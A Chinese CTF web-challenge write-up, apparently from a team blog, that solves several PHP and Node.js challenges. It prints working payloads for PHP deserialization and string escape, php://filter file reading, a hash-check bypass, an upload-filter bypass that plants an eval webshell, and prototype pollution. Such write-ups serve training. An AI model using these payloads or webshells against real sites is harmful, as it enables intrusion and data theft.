白天运维比赛,平台正常、用户体验良好,没事干就去练了练手,有一说一,题目出的真的不错,难度比我队招新的难多了,这里记录一下,方便队内的老哥们学习
Contents
WEB
first_lesson
<?php
highlight_file(__FILE__);
if (isset($_GET["z33"]))
{
echo "<p>z33 is " . $_GET['z33'] . "</p>";
if ($_GET["z33"] === "feiwu")
{
if (isset($_GET["rmb"]))
{
echo "<p>rmb is " . $_GET["rmb"] . "</p>";
if ($_GET["rmb"] === "shenxian")
{
if (isset($_POST["aa"]))
{
echo "<p>aa is dage of " . $_POST["aa"] . "</p>";
if ($_POST["aa"] === "z33&rmb")
{
echo file_get_contents("/flag");
}
}
else
{
echo "<p>use POST method to submit aa</p>";
}
}
}
else
{
echo "<p>use GET method to submit rmb</p>";
}
}
}
else
{
echo "<p>use GET method to submit z33</p>";
}
比较基础的题目,一步一步看,主要是考察GET和POST传参的题目,GET直接在题目URL后添加即可,POST传参需要通过工具进行传输,可以使用Hackbar、Burp、POSTman这些,这里图省事直接用的hackbar,根据条件,我们需要“z33″的值为“feiwu”、“rmb”的值为“shenxian”、“aa”的值为“z33&rmb”,当三种条件都满足后系统会读取根目录下flag文件,构造一下
?z33=feiwu&rmb=shenxian
POST:
aa=z33%26rmb #因为&符号会在传输过程中进行URL解码,所以我们需要编码后再传输
AT_Field
比较基础的签到题目,查看js,发现存在输入长度限制
我们需要输入flag,这里为了省事,直接使用hackbar进行POST传参
成功获取flag
刀来!
基础代码执行利用,直接给了密码
直接利用GET传参执行php代码即可
查看根目录下flag
读取flag
Script_Kiddle
根据题目信息猜测存在random随机数,查看一下源码
需要我们传输1~1000的随机数,之后传输到flag.php后端进行爆破,如果匹配成功的话,返回flag值,使用burp抓包,爆破一下
当传输的num为887的时候,返回包长度不同
查看一手返回包
成功获取到flag
AA_is_who
基础的反序列化
<?php
highlight_file(__FILE__);
class AA
{
public $name;
protected $power;
public function __destruct()
{
if($this->name === "Aryb1n")
{
echo "AA is Aryb1n";
if($this->power > 100000)
{
echo "AA is powerful";
echo file_get_contents("/flag");
}
else
{
echo "AA is not so weak";
}
}
else
{
echo "who is AA?";
}
}
}
// maybe you should consider URL encode?
$aa = $_GET["aa"];
unserialize($aa);
题目要让\$power的值大于100000,\$name的值为Aryb1n,不过需要注意的是,$power的类型为protected,我们需要使用%00进行填充补全,也可以直接将生成的payload进行url编码
<?php
class AA
{
public $name=Aryb1n;
protected $power=1000000;
}
$a=new AA();
print urlencode(serialize($a));
//O%3A2%3A%22AA%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Aryb1n%22%3Bs%3A8%3A%22%00%2A%00power%22%3Bi%3A1000000%3B%7D
Ez_escape1
反序列化字符串逃逸,字符由少变多类型
<?php
highlight_file(__file__);
$name=$_POST["name"];
$number=10086;
class escape
{
public $name;
public $number;
public function __construct($name,$number)
{
$this->name=$name;
$this->number=$number;
}
}
function filter($string){
return str_replace('nzgnb','nzgyyds',$string);
}
$epoch=filter(serialize(new escape($name,$number)));
echo $epoch."<br>";
$ep0ch=unserialize($epoch);
if($ep0ch->number===1008611) {
echo base64_encode(file_get_contents("/flag"));
}
else{
echo "try again";
}
看一下代码思路,当我们的number值变为1008611时,系统以base64加密的形式取出flag,不过题目在一开头就设置了number值为10086,我们需要通过覆盖或者其他方式修改$number的值,看一下我们可控的参数:name,题目会先对我们传输进去的字符串进行序列化存储后替换关键词之后再进行反序列化,如果我们传输的值为“nzgnb”时,题目会替换为nzgyyds,此时序列化后会出现问题
可以看到,字符长度比原来多了2位,这个时候后面的字符串会被单独的解析为数组元素而不是字符串,且其后的字符串不会被反序列化,实现了逃逸。所以此时我们可以再逃逸的字符串后添加我们构造的序列化字符串,使得题目在进行反序列化时,覆盖number的值,从而触发条件,输出flag
构造触发语句:
s:6:"number";i:1008611
计算一下字符数,需要添加闭合的符号
"s:6:"number";i:1008611;} #26位
我们需要填充26个字符,此时需要使得字符长度多出26位,我们输出13个字符,使得替换后的字符串多出26位
<?php
class escape
{
public $name=nzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnb;
public $number=1008611;
}
$a =new escape();
echo serialize($a);
//O:6:"escape":2:{s:4:"name";s:65:"nzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnbnzgnb";s:6:"number";i:1008611;}
传输,获取到加密的flag,base64解密即可
Ez_escape2
反序列化字符串逃逸,字符由多变少类型
<?php
highlight_file(__file__);
$haidilao=$_POST["haidilao"];
$core=$_POST["core"];
$num="2019";
class escape2
{
public $haidilao;
public $core;
public $num;
public function __construct($haidilao,$core,$num)
{
$this->haidilao=$haidilao;
$this->core=$core;
$this->num=$num;
}
public function __wakeup()
{
if($this->num==="2020") {
echo base64_encode(file_get_contents("/flag"));
}
else{
echo "try again";
}
}
}
function filter($string){
return str_replace('Haidilao','Hedilao',$string);
}
$btis=filter(serialize(new escape2($haidilao,$core,$num)));
echo "<br>".$btis."<br>";
$bt15=unserialize($btis);
与上一题差不多,都是考察字符串逃逸,不过这里是将字符由多变少了,还是看一下触发flag的要求,需要我们传输的num值为2020时,输出base64加密的flag,同样是对我们传输的值进行了序列化后替换,在替换时会减少一位字符长度
发现最后生成的序列化字符串长度虽然为8,但是字符为7位字符,此时,在进行反序列化时,系统会自动向后吃掉一位,也就是把字符后的双引号当作字符去处理,这样就出现了反序列化逃逸漏洞,我们可以多次传输替换的值,让系统不断的向后吃掉字符,同时我们可以构造core的值,我们再在core中传输我们想要构造的序列化字符串,使得系统在获取字符串后进行反序列化,从而覆盖掉原来的num值,从而触发flag
O:7:"escape2":3:{s:8:"haidilao";s:8:"Hedilao";s:4:"core";s:1:"1";s:3:"num";s:4:"2019";} #正常的序列化字符串
";s:4:"core";s:1:" # 我们需要吃掉的字符
";s:4:"core";s:1:"1";s:3:"num";s:4:"2020";} # 我们需要传输的core的值
此时计算一下需要吃掉的字符数,字符数为19,我们需要传输19个替换字符
payload:
POST
data:
haidilao=HaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilaoHaidilao&core=";s:4:"core";s:3:"123";s:3:"num";s:4:"2020";}
成功获取到base64加密flag,解密即可
baby_php
题目名称给的是hash长度拓展工具,不过做题的时候有点奇幻
题目给了提示file,猜测存在文件包含漏洞,直接读源码
//index.php
<?php
include('config.php');
include('function.php');
if(!$_GET['file']){
echo "<!-- <h1>the param is file<h1> -->";
echo "<img src=sus.jpg>";
}else
{
$file=$_GET['file'];
$ext = "sus_2020";
setcookie('hash',hash("sha256",$secret.$ext));
if(is_safe($file))
{
if($file==="index.php"){
highlight_file('index.php');
}else{
include($file);
}
}
if($_GET['action']==='get_flag')
{
if(check_admin()===1)
{
readfile('/flag');
}
}
}
根据代码显示存在其他两个php文件,再次文件包含读一下
http://susctf.com:10010/?file=php://filter/convert.base64-encode/resource=function.php
base64解密获得源码
<?php
#tips:the length of secret is 10
function is_safe($filename){
$tmp_file = str_replace("../","",$filename);
if($tmp_file!==$filename){
die('no no no~');
}
if(stripos($filename,"config")!==FALSE or stripos($filename,"flag")!==FALSE){
die('fxxk hacker!');
}
else{
return 1;
}
}
function check_admin(){
global $secret;
$id=urldecode($_POST['id']);
if(is_array($id)){
die("no no no");
}
if($id!==""&&$_COOKIE['user']===hash("sha256",$secret.$id.'sus_2020'))
{
return 1;
}
else
{
return 0;
}
}
发现config和flag被过滤了,无法直接读取配置文件和flag,直接审一手代码,看一下触发flag的条件
首先GET传输action的值为get_flag,当check_admin()函数返回为1时,读取根目录下flag,在看一下check_admin函数,当我们传输的id不为空且cookie中user的加密值为secret+id+sus_2020三个模块拼接的sha256值相等时,返回为1,同时,题目会对id是否为数组进行检测
为了方便调试,在本地将环境搭了起来,config.php中添加一个十位的密钥即可,在代码中将我们传输的数据进行输出
输出这三者的值和类型:
$_POST['id']
$id
hash("sha256",$secret.$id.'sus_2020')
首先输入id进行调试查看,三个值的变化,当输入为字符串类型时
返回的是正常数据和加密的hash值,当传输的值为数组类型时
可以看到$id的值已经变为NULL了,而不是返回nonono,我们回到代码看一下,主要原因在这
$id=urldecode($_POST['id']);
代码对我们传输的数据进行了一次urldecode,我们可以猜测数据应该是在url解码的过程中发生了数据类型的强制转换,由于urldecode解码要求的类型为字符串类型,而我们传输的类型为数组类型,从而使得$id的值转为NULL,在下面的数组匹配中,由于$id是NULL,所以不会触发数组检测,此时我们就可以构造我们的cookie值了,由于我们传输的id值为NULL,此时加密的函数为
hash("sha256",$secret.$id.'sus_2020')
=> hash("sha256",$secret.NULL.'sus_2020')
=> hash("sha256",$secret.'sus_2020')
这样的话我们可以直接在题目的cookie中获取到值
//index.php
$ext = "sus_2020";
setcookie('hash',hash("sha256",$secret.$ext));
在本地测试结果:
在题目中测试一下
成功获取到flag
upload_and_bypass
<?php
if(isset($_POST['c']) && isset($_POST['f'])){
$userdir = "upload/".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
$content = $_POST['c'];
$filename = $_POST['f'];
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("go out!");
}else{
$f = fopen($userdir."/".$filename, 'w');
fwrite($f, $content);
fclose($f);
}
}
else{
highlight_file(__FILE__);
}
?>
网上的原题,p牛的payload直接利用一下
直接在文件名后添加”/.”,即可绕过文件名检测
f=123.php/.&c=<?php eval($_POST[123]);?>
这里还要获取一下我们自己的REMOTE_ADDR,在本地的vps上构造一下
<?php
echo md5($_SERVER["REMOTE_ADDR"]);
?>
访问即可获得,构造一下访问目录
成功构造webshell,看一下disable_functions
日常绕过uaf,这里使用了蚁剑自带的插件
选择模式利用
直接在web端访问.antproxy.php触发文件
成功执行命令,运行一下readflag
成功获取到flag
ez_proto
JavaScript原型链污染
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const app = express();
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.get('/', (req, res) => {
let data = req.body
let a = {"fake_flag": true}
let b = {}
merge(b, data)
if(a.true_flag)
{
for (let i in {})
{
delete Object.prototype[i]
}
fs.readFile('/flag', (error, data) => {
if(error)
{
console.log(error)
}
else
{
res.send(data.toString())
}
}
)
}
else
{
fs.readFile(__filename, (error, data) =>{
if(error)
console.log(error)
else
res.end(data.toString())
})
}
})
app.listen(80, ()=>{
console.log("listening on 80")
});
题目直接给了p牛的参考文章
深入理解 JavaScript Prototype 污染攻击
具体原理写的非常仔细,直接看一下题目,思路非常简单,当true_flag为真时返回flag,直接proto执行一手
{"__proto__": {"true_flag": "1"}}
GET传输
成功获取flag
总结
总的来说,题目的质量都挺高的,把web类常考察的点都涵盖了,反序列化逃逸、文件上传绕过、UAF利用、JS污染链,虽然题目都是比较直接的漏洞,但是,对于现学现做来说确实是最好的题目
abc says:
最后一题用的啥工具?
Pdsdt says:
POSTMAN,调试的时候挺方便的